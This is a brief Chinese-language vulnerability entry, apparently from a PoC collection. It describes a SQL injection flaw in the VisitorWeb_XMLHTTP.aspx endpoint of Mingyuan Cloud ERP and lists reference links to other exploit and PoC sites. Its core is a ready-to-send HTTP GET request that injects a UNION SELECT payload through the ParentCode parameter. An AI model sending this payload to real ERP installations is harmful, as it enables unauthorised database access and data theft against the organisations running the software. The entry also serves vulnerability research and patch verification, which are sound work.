Description
明源云ERP是一款由明源云科技有限公司开发的企业管理软件。明源云ERP产品旨在帮助企业实现数字化、智能化的管理，提高企业运营效率和核心竞争力。其中 VisitorWeb_XMLHTTP.aspx 路径存在SQL注入漏洞。
明源云ERP VisitorWeb_XMLHTTP.aspx SQL注入漏洞
PoC
GET /CgZtbWeb/VisitorWeb/VisitorWeb_XMLHTTP.aspx?ywtype=GetParentProjectName&ParentCode=1'+union+select+sum(3233*3323)--+z HTTP/1.1
Host:
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://github.com/plbplbp/loudong001/blob/main/%E6%98%8E%E6%BA%90%E4%BA%91/%E6%98%8E%E6%BA%90%E4%BA%91ERP%E6%8E%A5%E5%8F%A3VisitorWeb_XMLHTTP.aspx%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
https://www.yingjikeji.cn/sys-nd/668.html
https://www.ddpoc.com/poc/DVB-2023-4937.html
https://cn-sec.com/archives/1960112.html
https://www.cnblogs.com/0day-li/p/19007085
https://stack.chaitin.com/techblog/detail/180